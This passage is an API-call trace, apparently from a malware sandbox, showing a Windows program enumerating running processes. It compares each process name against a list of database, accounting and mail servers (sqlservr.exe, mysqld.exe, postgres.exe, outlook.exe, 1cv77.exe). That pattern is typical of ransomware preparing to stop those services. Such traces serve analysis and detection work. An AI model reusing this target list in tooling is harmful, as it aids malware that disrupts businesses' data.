	[0168.085] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1
	[0168.085] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1
	[0168.085] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0168.086] lstrlenW (lpString="lsass.exe") returned 9
	[0168.086] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1
	[0168.086] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1
	[0168.086] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1
	[0168.086] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1
	[0168.086] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1
	[0168.086] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1
	[0168.086] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1
	[0168.087] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0168.087] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0168.088] lstrcmpiW (lpString1="1c8.exe", lpString2="fontdrvhost.exe") returned -1
	[0168.088] lstrcmpiW (lpString1="1cv77.exe", lpString2="fontdrvhost.exe") returned -1
	[0168.088] lstrcmpiW (lpString1="outlook.exe", lpString2="fontdrvhost.exe") returned 1
	[0168.088] lstrcmpiW (lpString1="postgres.exe", lpString2="fontdrvhost.exe") returned 1
	[0168.089] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="fontdrvhost.exe") returned 1
	[0168.089] lstrcmpiW (lpString1="mysqld.exe", lpString2="fontdrvhost.exe") returned 1
	[0168.089] lstrcmpiW (lpString1="sqlservr.exe", lpString2="fontdrvhost.exe") returned 1
	[0168.089] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0168.090] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0168.090] lstrcmpiW (lpString1="1c8.exe", lpString2="fontdrvhost.exe") returned -1
	[0168.090] lstrcmpiW (lpString1="1cv77.exe", lpString2="fontdrvhost.exe") returned -1
	[0168.090] lstrcmpiW (lpString1="outlook.exe", lpString2="fontdrvhost.exe") returned 1
	[0168.090] lstrcmpiW (lpString1="postgres.exe", lpString2="fontdrvhost.exe") returned 1
	[0168.090] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="fontdrvhost.exe") returned 1
	[0168.090] lstrcmpiW (lpString1="mysqld.exe", lpString2="fontdrvhost.exe") returned 1
	[0168.090] lstrcmpiW (lpString1="sqlservr.exe", lpString2="fontdrvhost.exe") returned 1
	[0168.090] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0168.091] lstrlenW (lpString="svchost.exe") returned 11
	[0168.092] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0168.092] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0168.092] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0168.092] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0168.092] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0168.092] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0168.092] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0168.092] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0168.093] lstrlenW (lpString="svchost.exe") returned 11
	[0168.093] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0168.093] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0168.093] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0168.093] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0168.093] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0168.093] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0168.093] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0168.093] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0168.094] lstrlenW (lpString="dwm.exe") returned 7
	[0168.094] lstrcmpiW (lpString1="1c8.exe", lpString2="dwm.exe") returned -1
	[0168.094] lstrcmpiW (lpString1="1cv77.exe", lpString2="dwm.exe") returned -1
	[0168.094] lstrcmpiW (lpString1="outlook.exe", lpString2="dwm.exe") returned 1
	[0168.094] lstrcmpiW (lpString1="postgres.exe", lpString2="dwm.exe") returned 1
	[0168.095] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="dwm.exe") returned 1
	[0168.095] lstrcmpiW (lpString1="mysqld.exe", lpString2="dwm.exe") returned 1
	[0168.095] lstrcmpiW (lpString1="sqlservr.exe", lpString2="dwm.exe") returned 1
	[0168.095] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0168.122] lstrlenW (lpString="svchost.exe") returned 11
	[0168.122] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0168.123] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0168.123] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0168.123] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0168.123] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0168.123] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0168.123] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0168.123] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0168.124] lstrlenW (lpString="svchost.exe") returned 11
	[0168.124] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0168.124] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0168.124] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0168.124] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0168.124] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0168.124] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0168.124] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0168.124] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0168.125] lstrlenW (lpString="svchost.exe") returned 11
	[0168.125] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0168.125] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0168.125] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0168.125] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0168.126] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0168.126] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0168.126] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0168.126] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0168.127] lstrlenW (lpString="svchost.exe") returned 11
	[0168.127] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0168.127] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0168.127] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0168.127] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0168.127] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0168.127] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0168.127] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0168.127] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0168.167] lstrlenW (lpString="svchost.exe") returned 11
	[0168.167] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0168.167] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0168.167] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0168.167] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0168.167] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0168.167] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0168.168] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0168.168] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0168.170] lstrlenW (lpString="svchost.exe") returned 11
	[0168.170] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0168.170] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0168.170] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0168.170] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0168.170] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0168.170] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0168.170] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0168.170] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0168.171] lstrlenW (lpString="svchost.exe") returned 11
	[0168.171] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0168.171] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0168.171] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0168.172] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0168.172] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0168.172] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0168.172] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0168.172] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0168.173] lstrlenW (lpString="svchost.exe") returned 11
	[0168.173] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0168.173] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0168.173] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0168.173] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0168.173] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0168.173] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0168.173] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0168.173] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0168.175] lstrlenW (lpString="svchost.exe") returned 11
	[0168.175] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0168.175] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0168.175] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0168.175] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0168.175] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0168.175] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0168.175] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0168.175] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0168.176] lstrlenW (lpString="svchost.exe") returned 11
	[0168.176] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0168.176] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0168.176] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0168.176] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0168.176] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0168.176] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0168.176] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0168.176] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0168.178] lstrlenW (lpString="spoolsv.exe") returned 11
	[0168.178] lstrcmpiW (lpString1="1c8.exe", lpString2="spoolsv.exe") returned -1
	[0168.178] lstrcmpiW (lpString1="1cv77.exe", lpString2="spoolsv.exe") returned -1
	[0168.178] lstrcmpiW (lpString1="outlook.exe", lpString2="spoolsv.exe") returned -1
	[0168.179] lstrcmpiW (lpString1="postgres.exe", lpString2="spoolsv.exe") returned -1
	[0168.179] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="spoolsv.exe") returned -1
	[0168.179] lstrcmpiW (lpString1="mysqld.exe", lpString2="spoolsv.exe") returned -1
	[0168.179] lstrcmpiW (lpString1="sqlservr.exe", lpString2="spoolsv.exe") returned 1
	[0168.179] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x630, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0168.180] lstrlenW (lpString="svchost.exe") returned 11
	[0168.180] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0168.180] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0168.180] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0168.180] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0168.180] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0168.180] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0168.181] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0168.181] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x504, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0168.182] lstrlenW (lpString="audiodg.exe") returned 11
	[0168.182] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1
	[0168.182] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1
	[0168.182] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1
	[0168.182] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1
	[0168.182] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1
	[0168.182] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1
	[0168.182] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1
	[0168.182] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0168.183] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0168.183] lstrcmpiW (lpString1="1c8.exe", lpString2="OfficeClickToRun.exe") returned -1
	[0168.183] lstrcmpiW (lpString1="1cv77.exe", lpString2="OfficeClickToRun.exe") returned -1
	[0168.184] lstrcmpiW (lpString1="outlook.exe", lpString2="OfficeClickToRun.exe") returned 1
	[0168.184] lstrcmpiW (lpString1="postgres.exe", lpString2="OfficeClickToRun.exe") returned 1
	[0168.184] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="OfficeClickToRun.exe") returned -1
	[0168.184] lstrcmpiW (lpString1="mysqld.exe", lpString2="OfficeClickToRun.exe") returned -1
	[0168.184] lstrcmpiW (lpString1="sqlservr.exe", lpString2="OfficeClickToRun.exe") returned 1
	[0168.184] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0168.185] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0168.185] lstrcmpiW (lpString1="1c8.exe", lpString2="SecurityHealthService.exe") returned -1
	[0168.185] lstrcmpiW (lpString1="1cv77.exe", lpString2="SecurityHealthService.exe") returned -1
	[0168.185] lstrcmpiW (lpString1="outlook.exe", lpString2="SecurityHealthService.exe") returned -1
	[0168.185] lstrcmpiW (lpString1="postgres.exe", lpString2="SecurityHealthService.exe") returned -1
	[0168.185] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="SecurityHealthService.exe") returned -1
	[0168.185] lstrcmpiW (lpString1="mysqld.exe", lpString2="SecurityHealthService.exe") returned -1
	[0168.185] lstrcmpiW (lpString1="sqlservr.exe", lpString2="SecurityHealthService.exe") returned 1
	[0168.185] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0168.186] lstrlenW (lpString="sihost.exe") returned 10
	[0168.186] lstrcmpiW (lpString1="1c8.exe", lpString2="sihost.exe") returned -1
	[0168.186] lstrcmpiW (lpString1="1cv77.exe", lpString2="sihost.exe") returned -1
	[0168.186] lstrcmpiW (lpString1="outlook.exe", lpString2="sihost.exe") returned -1
	[0168.186] lstrcmpiW (lpString1="postgres.exe", lpString2="sihost.exe") returned -1
	[0168.186] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="sihost.exe") returned -1
	[0168.186] lstrcmpiW (lpString1="mysqld.exe", lpString2="sihost.exe") returned -1
	[0168.186] lstrcmpiW (lpString1="sqlservr.exe", lpString2="sihost.exe") returned 1
	[0168.186] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0168.193] lstrlenW (lpString="Memory Compression") returned 18
	[0168.193] lstrcmpiW (lpString1="1c8.exe", lpString2="Memory Compression") returned -1
	[0168.193] lstrcmpiW (lpString1="1cv77.exe", lpString2="Memory Compression") returned -1
	[0168.193] lstrcmpiW (lpString1="outlook.exe", lpString2="Memory Compression") returned 1
	[0168.193] lstrcmpiW (lpString1="postgres.exe", lpString2="Memory Compression") returned 1
	[0168.194] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="Memory Compression") returned 1
	[0168.194] lstrcmpiW (lpString1="mysqld.exe", lpString2="Memory Compression") returned 1
	[0168.194] lstrcmpiW (lpString1="sqlservr.exe", lpString2="Memory Compression") returned 1
	[0168.194] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0168.196] lstrlenW (lpString="svchost.exe") returned 11
	[0168.196] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0168.196] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0168.196] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0168.196] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0168.196] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0168.196] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0168.196] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0168.196] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0168.197] lstrlenW (lpString="taskhostw.exe") returned 13
	[0168.197] lstrcmpiW (lpString1="1c8.exe", lpString2="taskhostw.exe") returned -1
	[0168.197] lstrcmpiW (lpString1="1cv77.exe", lpString2="taskhostw.exe") returned -1
	[0168.197] lstrcmpiW (lpString1="outlook.exe", lpString2="taskhostw.exe") returned -1
	[0168.197] lstrcmpiW (lpString1="postgres.exe", lpString2="taskhostw.exe") returned -1
	[0168.197] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="taskhostw.exe") returned -1
	[0168.197] lstrcmpiW (lpString1="mysqld.exe", lpString2="taskhostw.exe") returned -1
	[0168.197] lstrcmpiW (lpString1="sqlservr.exe", lpString2="taskhostw.exe") returned -1
	[0168.197] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0168.199] lstrlenW (lpString="msoia.exe") returned 9
	[0168.199] lstrcmpiW (lpString1="1c8.exe", lpString2="msoia.exe") returned -1
	[0168.199] lstrcmpiW (lpString1="1cv77.exe", lpString2="msoia.exe") returned -1
	[0168.199] lstrcmpiW (lpString1="outlook.exe", lpString2="msoia.exe") returned 1
	[0168.199] lstrcmpiW (lpString1="postgres.exe", lpString2="msoia.exe") returned 1
	[0168.199] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="msoia.exe") returned 1
	[0168.199] lstrcmpiW (lpString1="mysqld.exe", lpString2="msoia.exe") returned 1
	[0168.199] lstrcmpiW (lpString1="sqlservr.exe", lpString2="msoia.exe") returned 1
	[0168.199] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0x9a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0168.216] lstrlenW (lpString="explorer.exe") returned 12
	[0168.216] lstrcmpiW (lpString1="1c8.exe", lpString2="explorer.exe") returned -1
	[0168.216] lstrcmpiW (lpString1="1cv77.exe", lpString2="explorer.exe") returned -1
	[0168.216] lstrcmpiW (lpString1="outlook.exe", lpString2="explorer.exe") returned 1
	[0168.216] lstrcmpiW (lpString1="postgres.exe", lpString2="explorer.exe") returned 1
	[0168.216] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="explorer.exe") returned 1
	[0168.216] lstrcmpiW (lpString1="mysqld.exe", lpString2="explorer.exe") returned 1
	[0168.216] lstrcmpiW (lpString1="sqlservr.exe", lpString2="explorer.exe") returned 1
	[0168.216] Process32NextW (in: hSnapshot=0x350, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0168.457] lstrlenW (lpString="SearchUI.exe") returned 12
	[0168.457] lstrcmpiW (lpString1="1c8.exe", lpString2="SearchUI.exe") returned -1
	[0168.457] lstrcmpiW (lpString1="1cv77.exe", lpString2="SearchUI.exe") returned -1
